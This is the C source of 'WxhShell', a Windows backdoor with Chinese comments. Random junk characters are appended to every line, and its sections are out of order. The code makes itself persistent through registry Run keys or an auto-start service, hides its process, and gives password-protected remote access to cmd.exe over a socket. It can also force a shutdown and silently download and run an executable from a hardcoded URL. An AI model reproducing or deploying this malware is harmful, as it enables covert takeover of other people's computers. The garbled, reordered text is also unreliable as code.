    } 6_g6e2F  
  // 关机 YelF)Na  
  case 'd': { {?3i^Q=V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vk76cV D  
    if(Boot(SHUTDOWN)) ``rYzj_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t+0/$  
    else { '68#7Hs.  
    closesocket(wsh); ;^)4u  
    ExitThread(0); ;L%\[H>G  
    } ;9Wimf]G,E  
    break; cBCC/n  
    } %8P6l D  
  // 获取shell byZj7q5&Q  
  case 's': { X|R"8cJ  
    CmdShell(wsh); m YhDi  
    closesocket(wsh); %UV"@I+  
    ExitThread(0); FEV Ya#S  
    break; G('UF1F  
  } v|3mbApv  
  // 退出 C9>^!?>  
  case 'x': { -Gm}i8;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3B$|B,  
    CloseIt(wsh); v.gAi6  
    break; :e}j$v F  
    } 7sVO?:bj}  
  // 离开 P(L iH  
  case 'q': { 0]GenT"   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <jLL2-5r0  
    closesocket(wsh); w.=rea~  
    WSACleanup(); R+Ug;r-[  
    exit(1); T~?&hZ>  
    break; xBqZ: BQ  
        } U\[b qw  
  } G^/8^Zi  
  } )31xl6@  
C7&L9k~jf  
  // 提示信息 &.Yu%=}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #X?E#^6?E  
} /d$kz&aIV  
  } N4WX}  
?U2 'L2y  
  return; Ir5E*op7D  
} SzUH6|=.R=  
xp]9Z]J1l  
// shell模块句柄 =^)$my\C:  
int CmdShell(SOCKET sock) `t g=__D  
{ aZo>3z;  
STARTUPINFO si; QS-X_  
ZeroMemory(&si,sizeof(si)); Rgz zbW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e :@PI(P!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YH{n   
PROCESS_INFORMATION ProcessInfo; ?rdWhF]  
char cmdline[]="cmd"; %+C6#cj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pM*( kN  
  return 0; ~!/agLwY  
}  ?H8dyQ5"  
]tmMk7  
// 自身启动模式 veS) j?4  
int StartFromService(void) "R% RI( y{  
{ xhMAWFg|  
typedef struct o9OCgP`Y  
{ NezE]'}  
  DWORD ExitStatus; mCQ:< #  
  DWORD PebBaseAddress; ~/2OK!M  
  DWORD AffinityMask; NpS =_QeNw  
  DWORD BasePriority; IPt !gSp  
  ULONG UniqueProcessId; z|$9%uz"  
  ULONG InheritedFromUniqueProcessId; FY/F}C,o  
}   PROCESS_BASIC_INFORMATION; U8<C4  
s/P+?8'9  
PROCNTQSIP NtQueryInformationProcess; cSmy M~[  
iaRCV 6cl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "Sw raq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GX*9R>  
r<Q0zKW!jN  
  HANDLE             hProcess; pK0@H"$8  
  PROCESS_BASIC_INFORMATION pbi; LFvZ 7M\\  
9)4_@rf%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +IlQZwm~  
  if(NULL == hInst ) return 0; -<(RYMk*)  
df&.!7_R`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gy"<[N .?c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,!P}Y[|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bb-u'"5^]  
O! _d5r&,  
  if (!NtQueryInformationProcess) return 0; KNOVb=# f_  
2M+ *VO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); va0}?fy.O%  
  if(!hProcess) return 0; VWqZ`X  
J58S8:c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^RYq !l$  
Nc?'},  
  CloseHandle(hProcess); 3L{)Y`P  
lA4TWU (]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n`T4P$pt  
if(hProcess==NULL) return 0; Bz>5OuOVS\  
,MG`} *N}  
HMODULE hMod; }R_Rw:W  
char procName[255]; d\r-)VWSr"  
unsigned long cbNeeded; F]s:`4  
x1}Ono3"T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Uyd'uC  
pB7^l|\]  
  CloseHandle(hProcess); 4Ofkagg  
A-YW!BT4  
if(strstr(procName,"services")) return 1; // 以服务启动 QI78/gT,d  
MXDUKh7v3  
  return 0; // 注册表启动 Ms-)S7tMz  
} "ZFH_5<  
#WAX&<m  
// 主模块 -oB=7+g  
int StartWxhshell(LPSTR lpCmdLine) .-Dc%ap]  
{ al7D3J  
  SOCKET wsl; >qd=lm <,  
BOOL val=TRUE; buhbUmQ2  
  int port=0; Q&/WVRD  
  struct sockaddr_in door; i4&V+h"  
DZ9^>`*  
  if(wscfg.ws_autoins) Install(); Fe.90)  
[ B*r{  
port=atoi(lpCmdLine); f85~[3 J  
n+k,:O5  
if(port<=0) port=wscfg.ws_port; Z{?T1 =n  
>=.3Vydi1  
  WSADATA data; !t\sg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (/X ]9  
@3bVjQ`4f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t=fP^bJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]0W64cuT  
  door.sin_family = AF_INET; %.HLO.A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5Sb-Bn  
  door.sin_port = htons(port); ]ZNFrpq  
Q8$;##hzt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {uJ"%  
closesocket(wsl); SIc~cZ!Yu  
return 1; _/Ay$l;F  
} `g0^ W/ j  
ES8(:5  
  if(listen(wsl,2) == INVALID_SOCKET) { \r [@A3O  
closesocket(wsl); 7OS i2  
return 1; 08! _B\  
} ):y^g:  
  Wxhshell(wsl); V/zmbo)  
  WSACleanup(); *p9k> )'J  
N7YCg  
return 0; B![:fiR`  
D|^N9lDaQ  
} [a?bv7Kz  
A;o({9VH`Z  
// 以NT服务方式启动 Ge^,hAM'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^66OzT8A  
{ p"j &s  
DWORD   status = 0; (!YJ:,!so  
  DWORD   specificError = 0xfffffff; $aN%[  
aIh} j,  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  QS1lg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ($W%&(:/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }>V=J aG  
  serviceStatus.dwWin32ExitCode     = 0; w\{#nrhYU  
  serviceStatus.dwServiceSpecificExitCode = 0; hTmJ ~m'J  
  serviceStatus.dwCheckPoint       = 0; 6\`8b&'n  
  serviceStatus.dwWaitHint       = 0; [(&aVHUj  
qk(bA/+e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !!w(`kmn1  
  if (hServiceStatusHandle==0) return; 9vSKIq  
/XU=l0u  
status = GetLastError(); S(CVkCP  
  if (status!=NO_ERROR) 'f CSP|  
{ LXPO@2QF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 16 \)C/*  
    serviceStatus.dwCheckPoint       = 0; Q>cEG"  
    serviceStatus.dwWaitHint       = 0; $: |`DCC  
    serviceStatus.dwWin32ExitCode     = status; GSd:Plc%  
    serviceStatus.dwServiceSpecificExitCode = specificError; \&ki79Ly-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AWssDbh/[  
    return; 8=zREt<Se  
  } oXN(S:ZF  
CF@*ki3X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oJ`=ob4WDo  
  serviceStatus.dwCheckPoint       = 0; ]'w5s dP  
  serviceStatus.dwWaitHint       = 0; {3kz\FS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kk4+>mk  
} zQ<;3+*  
nHRk2l|  
// 处理NT服务事件,比如:启动、停止 4:pgZz!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4^ U%` 1  
{ F^S]7{  
switch(fdwControl) 69apTx  
{ ck3+A/ !z  
case SERVICE_CONTROL_STOP: (U 4n} J  
  serviceStatus.dwWin32ExitCode = 0; "S*@._   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xtKU;+#  
  serviceStatus.dwCheckPoint   = 0; ?/-WH?1I  
  serviceStatus.dwWaitHint     = 0; ]cVDXLj$  
  { DbX7?Jr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]yL+lv  
  } ;jN1n xF  
  return; =1'WZp}D5  
case SERVICE_CONTROL_PAUSE: bf {_U%`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9)o@d`*  
  break; FK`:eP{  
case SERVICE_CONTROL_CONTINUE: zmL VFGnS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?mSZQF:d@  
  break; NJVkn~<  
case SERVICE_CONTROL_INTERROGATE: Q w - z  
  break; $R+gA{49%  
}; # ,eC&X45  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {2q0Ko<  
} 8eYEi  
=tP^vgfQ  
// 标准应用程序主函数  + #E?)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7J ?s&x  
{ #y[omla8  
c h((u(G  
// 获取操作系统版本  7Z<GlNv  
OsIsNt=GetOsVer(); (n7{?`Yid  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #g0N/  
x$D^Bh,  
  // 从命令行安装 9yWf*s<  
  if(strpbrk(lpCmdLine,"iI")) Install(); I,HtW),  
e6 x#4YH  
  // 下载执行文件 /e^) *r  
if(wscfg.ws_downexe) { B3u/ y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dNF_ T?E\  
  WinExec(wscfg.ws_filenam,SW_HIDE); `'k2gq&  
}  N&kUTSd  
r;* |^>  
if(!OsIsNt) { z8]@Gh+ (  
// 如果时win9x,隐藏进程并且设置为注册表启动 cAot+N+9|]  
HideProc(); 0a#v}w^ *  
StartWxhshell(lpCmdLine); pV_zePyOn  
} -.ZP<,?@F  
else \i@R5v=zL  
  if(StartFromService()) .:B>xg~2  
  // 以服务方式启动 );6f8H@G  
  StartServiceCtrlDispatcher(DispatchTable); ?%Tx% dB  
else MPy>< J  
  // 普通方式启动 `Syfl^9B  
  StartWxhshell(lpCmdLine); 4z26a  
~J> ;l s1  
return 0; BHYguS^qz  
} .XiO92d9  
vyB{35p$  
(v|<" tv  
$p&eS_f  
=========================================== 3dLqlJ^7B  
+`>E_+Mp  
(C"q-0?n  
Xw<;)m  
&=$f\O1Ty  
GKSF(Tnj  
" KG9-ac  
_~ei1 G.R  
#include <stdio.h> dv3u<XM~  
#include <string.h> VBF:MAA  
#include <windows.h> G$&jP:2q  
#include <winsock2.h> \[.qN  
#include <winsvc.h> 5|N`:h'9M  
#include <urlmon.h> ^Jq('@  
SE@TY32T  
#pragma comment (lib, "Ws2_32.lib") OdY9g2y#m  
#pragma comment (lib, "urlmon.lib") 3o/f, }_  
R){O]<+  
#define MAX_USER   100 // 最大客户端连接数 8>6<GdGL<n  
#define BUF_SOCK   200 // sock buffer >~Tn%u<  
#define KEY_BUFF   255 // 输入 buffer B@0#*I Rm  
T4"D&~3 3q  
#define REBOOT     0   // 重启 Ak('4j!*}^  
#define SHUTDOWN   1   // 关机 0)~c)B:5  
9&.md,U'  
#define DEF_PORT   5000 // 监听端口 LP|YW*i=IQ  
SJMbYjn0J  
#define REG_LEN     16   // 注册表键长度 w5~j|c=_W  
#define SVC_LEN     80   // NT服务名长度 uL1lB@G@  
CMOyK^(e  
// 从dll定义API 3o?eUwI}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Fb8d= Zc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #{J~ km/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C~@m6K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \R]2YY`EP  
E?P>s T3B  
// wxhshell配置信息 %X %zK1  
struct WSCFG { V@-Q&K#  
  int ws_port;         // 监听端口 ~M} K]Li  
  char ws_passstr[REG_LEN]; // 口令 0;">ETh=  
  int ws_autoins;       // 安装标记, 1=yes 0=no =mZYBm,IQ  
  char ws_regname[REG_LEN]; // 注册表键名 _8 0L/92  
  char ws_svcname[REG_LEN]; // 服务名 x< 2]UB`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 42"nbJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ; YQB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F!)[H["_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  4W*o:Y!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7_l Wr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /NCN wAj7  
LDHu10l  
}; 5  >0\=  
ux(~+<k  
// default Wxhshell configuration -k8sR1(  
struct WSCFG wscfg={DEF_PORT, Y3&,U  
    "xuhuanlingzhe",  'F.P93  
    1, !o_eK\p  
    "Wxhshell", \X %FM"r  
    "Wxhshell", pInEB6L.P  
            "WxhShell Service", O)VcW/  
    "Wrsky Windows CmdShell Service", hB.8\-}QMq  
    "Please Input Your Password: ", $o5i15Oy.  
  1, 0LL0\ly]  
  "http://www.wrsky.com/wxhshell.exe", \ Voly  
  "Wxhshell.exe" .9B@w+=6  
    }; 8uLS7\,$z  
a?r$E.W'&  
// 消息定义模块 xlwf @XW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sV{\IgH/x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f*Q9u>1p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PN]hG,q*4O  
char *msg_ws_ext="\n\rExit."; cRrJZ9  
char *msg_ws_end="\n\rQuit."; ROQ]sQpk  
char *msg_ws_boot="\n\rReboot..."; [j'!+)>_  
char *msg_ws_poff="\n\rShutdown..."; e8xq`:4Y  
char *msg_ws_down="\n\rSave to "; $G"\@YC<  
Eq;w5;7s  
char *msg_ws_err="\n\rErr!"; P* 0kz@  
char *msg_ws_ok="\n\rOK!"; } (-9d  
%?gG-R  
char ExeFile[MAX_PATH]; 1#_ pj eG  
int nUser = 0; q&v~9~^}d  
HANDLE handles[MAX_USER]; 0Pf88'6  
int OsIsNt; K\U`gTGc  
Z@Q*An  
SERVICE_STATUS       serviceStatus; |*g#7 YL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CA`V)XIsP  
aXVldt'  
// 函数声明 4uoZw 3O  
int Install(void); Ah7"qv'L\  
int Uninstall(void); Sj(>G;  
int DownloadFile(char *sURL, SOCKET wsh); {u1|`=;  
int Boot(int flag); MjC<N[WO>N  
void HideProc(void); Bj \ x  
int GetOsVer(void); T2w4D !  
int Wxhshell(SOCKET wsl); P`Ku. ONQ  
void TalkWithClient(void *cs); 6z U  
int CmdShell(SOCKET sock); SEzjc ~@3  
int StartFromService(void); +yfUB8Xw  
int StartWxhshell(LPSTR lpCmdLine); ig.Z,R3@r  
&57~i=A 3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ms}o[Z@n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #?S"y:  
,S`n?.&& 7  
// 数据结构和表定义 b; C}=gg  
SERVICE_TABLE_ENTRY DispatchTable[] = |Sjy   
{ p!:oT1U  
{wscfg.ws_svcname, NTServiceMain}, 1 PdG1'  
{NULL, NULL} &&C70+_po  
}; {z 5YJ*C  
Posz|u<x  
// 自我安装 Ss 5@n  
int Install(void) 7 SJ=2  
{ 0g: q%P0  
  char svExeFile[MAX_PATH]; RDDA^U7y#  
  HKEY key; tb~E.Lm\  
  strcpy(svExeFile,ExeFile); y-.{){uaD  
Ir>4-@  
// 如果是win9x系统,修改注册表设为自启动 U'" #jT  
if(!OsIsNt) { fWEQ vQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { --l UEo~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i,;eW&  
  RegCloseKey(key); MFa/%O_*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \)uA:v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l([aKm#  
  RegCloseKey(key); ghB&wOm/  
  return 0; aeN #<M&$<  
    } !6X6_ +}M  
  } BrSvkce  
} [Y*>x2X  
else { P A ZjA0d  
7$%G3Q|)L  
// 如果是NT以上系统,安装为系统服务 n^{h@u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [5IbR9_  
if (schSCManager!=0) u4 es8"  
{ %D#&RS  
  SC_HANDLE schService = CreateService fTR6]i;  
  ( M.y!J  
  schSCManager, R$l- 7YSt  
  wscfg.ws_svcname, 7:LEf"vRZ  
  wscfg.ws_svcdisp, V0>[bzI  
  SERVICE_ALL_ACCESS, w]qM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |0}Xb|+  
  SERVICE_AUTO_START, |Y}YhUI&  
  SERVICE_ERROR_NORMAL, y{3+Un  
  svExeFile, Go c*ugR  
  NULL, U { 0~&  
  NULL, s|XWw<Sa  
  NULL, (Ox&B+\v+v  
  NULL, @:CM<+  
  NULL cA 4?[F  
  ); C@ q#s  
  if (schService!=0) 1o\2\B=k{  
  { Heh&;c  
  CloseServiceHandle(schService); Jy}~ZY  
  CloseServiceHandle(schSCManager); h9m|f|cH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c"kB@P  
  strcat(svExeFile,wscfg.ws_svcname); %>+lr%B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "Ua-7Q&A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iT{4-j7|P4  
  RegCloseKey(key); `. JW_F)1  
  return 0; }a!|n4|`  
    } `T+>E0H(f  
  } ;rT/gwg!  
  CloseServiceHandle(schSCManager); ]8}2  
} ws`r\k]3J  
} Ws3z-U>j  
,8Q0AkG  
return 1; QChWy`x  
} +~G:z|k  
f@ |[pT  
// 自我卸载 [Uq`B &F:  
int Uninstall(void) k]:`<`/I_  
{ ".|8(Y  
  HKEY key; a"xRc  
3,G|oR{D  
if(!OsIsNt) { yw+]S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7Z:HwZ  
  RegDeleteValue(key,wscfg.ws_regname); ~b#<HG\,,  
  RegCloseKey(key); t*Ro2QZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f2gh|p`  
  RegDeleteValue(key,wscfg.ws_regname); Xlug{ Uh  
  RegCloseKey(key); vgtAJp+p*  
  return 0; ;sYDs71y  
  } P]^8Enp  
} B0yGr\KJ  
} . mO8 ~Z  
else { }O crA/  
?+=,t]`!m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p@Os  
if (schSCManager!=0) @Yb8CB  
{ ']2d^'TH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ) C~#W  
  if (schService!=0)  Rh6CV  
  { j8e=],sQ  
  if(DeleteService(schService)!=0) { &/^p:I  
  CloseServiceHandle(schService); sV5k@1Y  
  CloseServiceHandle(schSCManager); [V?HK_~  
  return 0; @qcUxu4  
  } 9(HGe+R4o  
  CloseServiceHandle(schService); @+M1M 2@Xz  
  } \NDW@!X  
  CloseServiceHandle(schSCManager); AX{<d@z`j  
} rT;l#<#VE  
} Z-CA9&4Uh  
-6_<]  
return 1; ,ynN801\m  
} lgVT~v{U`n  
}Tm+gJA  
// 从指定url下载文件 In%FOPO  
int DownloadFile(char *sURL, SOCKET wsh) (L4C1h_]9  
{ 34)l3UI~  
  HRESULT hr; })@xWU6!  
char seps[]= "/"; C<:wSS^@1  
char *token; 0# 1~'e  
char *file; P;y!Y/$C  
char myURL[MAX_PATH]; ^=-25%&^  
char myFILE[MAX_PATH]; lws.;abm%n  
!}P^O(oY  
strcpy(myURL,sURL); [m< jM[w{  
  token=strtok(myURL,seps); [W[awGf  
  while(token!=NULL) aW|=|K  
  { EqD@o  
    file=token; "S{GjOlEDF  
  token=strtok(NULL,seps); 8TH;6-RT  
  } dQH8s  
{7IZN< e  
GetCurrentDirectory(MAX_PATH,myFILE); {be|G^.c  
strcat(myFILE, "\\"); A`vRUl,c=  
strcat(myFILE, file); :SN?t  
  send(wsh,myFILE,strlen(myFILE),0); K( MZ!>{  
send(wsh,"...",3,0); `_neYT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G~&q  
  if(hr==S_OK) :G9d,B7*  
return 0; dwvc;f-  
else vfc5M6Vm)<  
return 1; H 9/m6F  
er 1zSTkg  
} `3K."/N6c  
I YptNR  
// 系统电源模块 UZiL NKc  
int Boot(int flag) <uoVGV5N  
{ 0.!vp?  
  HANDLE hToken;  874j9ky[  
  TOKEN_PRIVILEGES tkp; j";L{  
Xsb.xxK.  
  if(OsIsNt) { (Y&gse1}!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;gJAxVD<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <|WXFjn  
    tkp.PrivilegeCount = 1; 33}p02#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2}P{7flDY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SJ8 ~:"\P  
if(flag==REBOOT) { {KTZSs $n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hQzT =0  
  return 0; o4rf[.z  
} bTYR=^9  
else { }{J>kgr6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fWg 3gRI  
  return 0; M!VW/vdywL  
} <dS I"C<  
  } ij?]fXf:)y  
  else { QRdtr  
if(flag==REBOOT) { HuA4eJ(2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N1:)Z`r  
  return 0; :=quCzG  
} Y.52`s6F  
else { w1F)R^tU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |t$%kpp  
  return 0; [8DPZU@  
}  - sq= |  
} b\NY!)B  
bWCtRli}  
return 1; 'UCClj;?K  
} j6*e^ B  
Xe ^NVF  
// win9x进程隐藏模块 h^H)p`[Gme  
void HideProc(void) Kx;la  
{ $G /p[JG6-  
{>ghX_m |  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FVOPC:}bj  
  if ( hKernel != NULL ) aNICSxDN  
  { \H PB{ ;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sA"B/C|(g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \<} e?Yx%  
    FreeLibrary(hKernel); gZz5P>^  
  } mX @xV*  
*L<<S=g$2  
return; _>t6]?*  
} ob)c0Pz  
eY:jVYG(  
// 获取操作系统版本 &]KA%Db2  
int GetOsVer(void) ~^3U@( :  
{ BQgK<_  
  OSVERSIONINFO winfo; M;.:YkrUH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7Sycy#D  
  GetVersionEx(&winfo); *'@T+$3s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ? a*yK8S  
  return 1; @C~gU@F  
  else +=kz".$  
  return 0; 2-#&ktM%V  
} b u/GaE~  
)Ee`11  
// 客户端句柄模块 =@;\9j  
int Wxhshell(SOCKET wsl) @# p{,L  
{ c5eimA%`  
  SOCKET wsh; 8hX /~-H  
  struct sockaddr_in client; SmP&wNHQf  
  DWORD myID; @Rqn&tA8  
99Nm?$ g  
  while(nUser<MAX_USER) :{#w-oC>6P  
{ r;zG  
  int nSize=sizeof(client); 7x$VH5jie#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Fy^8]u*Fu  
  if(wsh==INVALID_SOCKET) return 1; f F9=zrW  
)c0Dofhg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); phcYQqR  
if(handles[nUser]==0) {%Q+Pzl.  
  closesocket(wsh); 7a%)/ )<D  
else / \k\HK8  
  nUser++; u-wj\BU  
  } ^K'XlM`a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5q}7#{A  
RDu{U(!  
  return 0; ~N+H7T.L  
} o7fJ@3B/  
Gd[: &h  
// 关闭 socket jxgs!B>   
void CloseIt(SOCKET wsh) ?$H=n{iW  
{ J}VG4}L  
closesocket(wsh); Y c>.P  
nUser--; `Y<FR  
ExitThread(0); mx0EEU*  
} 8/ CK(G  
@B>pPCowa  
// 客户端请求句柄 GUvEOD=p  
void TalkWithClient(void *cs) E$5A 1  
{ h`MTB!o  
]M&KUgz  
  SOCKET wsh=(SOCKET)cs; >yt8gw0J  
  char pwd[SVC_LEN]; vq5o?$:-  
  char cmd[KEY_BUFF]; -h&KC{Xab  
char chr[1]; C.VU"= -  
int i,j; U!524"@%U`  
p,S/-ph  
  while (nUser < MAX_USER) { U;Q?Rh- W  
Wtj* Z.=:  
if(wscfg.ws_passstr) { TDW\n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v6'k`HnK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AKUmh  
  //ZeroMemory(pwd,KEY_BUFF); c"S{5xh0&  
      i=0; ZcrFzi  
  while(i<SVC_LEN) { 3m/XT"D  
/,^AG2]( f  
  // 设置超时 k:`yxxYIh  
  fd_set FdRead; .QM>^(o$Z  
  struct timeval TimeOut; }m.45n/  
  FD_ZERO(&FdRead); GsNZr=;C  
  FD_SET(wsh,&FdRead); .vtV2lq  
  TimeOut.tv_sec=8; Uf\U~wM<  
  TimeOut.tv_usec=0; mq oB]H,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nW_cjYS%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \2y [Hy?  
LVBE+{P\5?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )SWLX\b  
  pwd=chr[0]; ![aa@nOSa  
  if(chr[0]==0xd || chr[0]==0xa) { 8/ PS#dM\  
  pwd=0; JR4fJG  
  break; sk~inIj-  
  } 63pd W/\j  
  i++; p2(Z(V7*  
    } L<ET"&b;4  
LZ1)zoJ  
  // 如果是非法用户,关闭 socket /n8\^4{fP{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Hus.Jfam  
} Pbl#ieZM  
)&.Zxo;q=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;a~ e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  t'e5!Ma  
DDp\*6y3l  
while(1) { t,308Z  
h=MEQ-3jg  
  ZeroMemory(cmd,KEY_BUFF); - ~`)V`@  
18G=j@k7  
      // 自动支持客户端 telnet标准   RfzYoBN  
  j=0; e4Q2$ Q@b  
  while(j<KEY_BUFF) { yuq2)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )PjU=@$lI  
  cmd[j]=chr[0]; D[p`1$E-1v  
  if(chr[0]==0xa || chr[0]==0xd) { o6)U\z  
  cmd[j]=0; OH6-\U'.Z  
  break; }]|e0 w:  
  } 5T]dQ3[v4  
  j++; D` 2w>{Y  
    } -5#cfi4^*  
wYN/ }>M  
  // 下载文件 3?bTs =  
  if(strstr(cmd,"http://")) { N<T@GQwkS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `clp#l.ii  
  if(DownloadFile(cmd,wsh)) M.fA5rJ^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6=g! Hs{  
  else V ^hR%*i'  
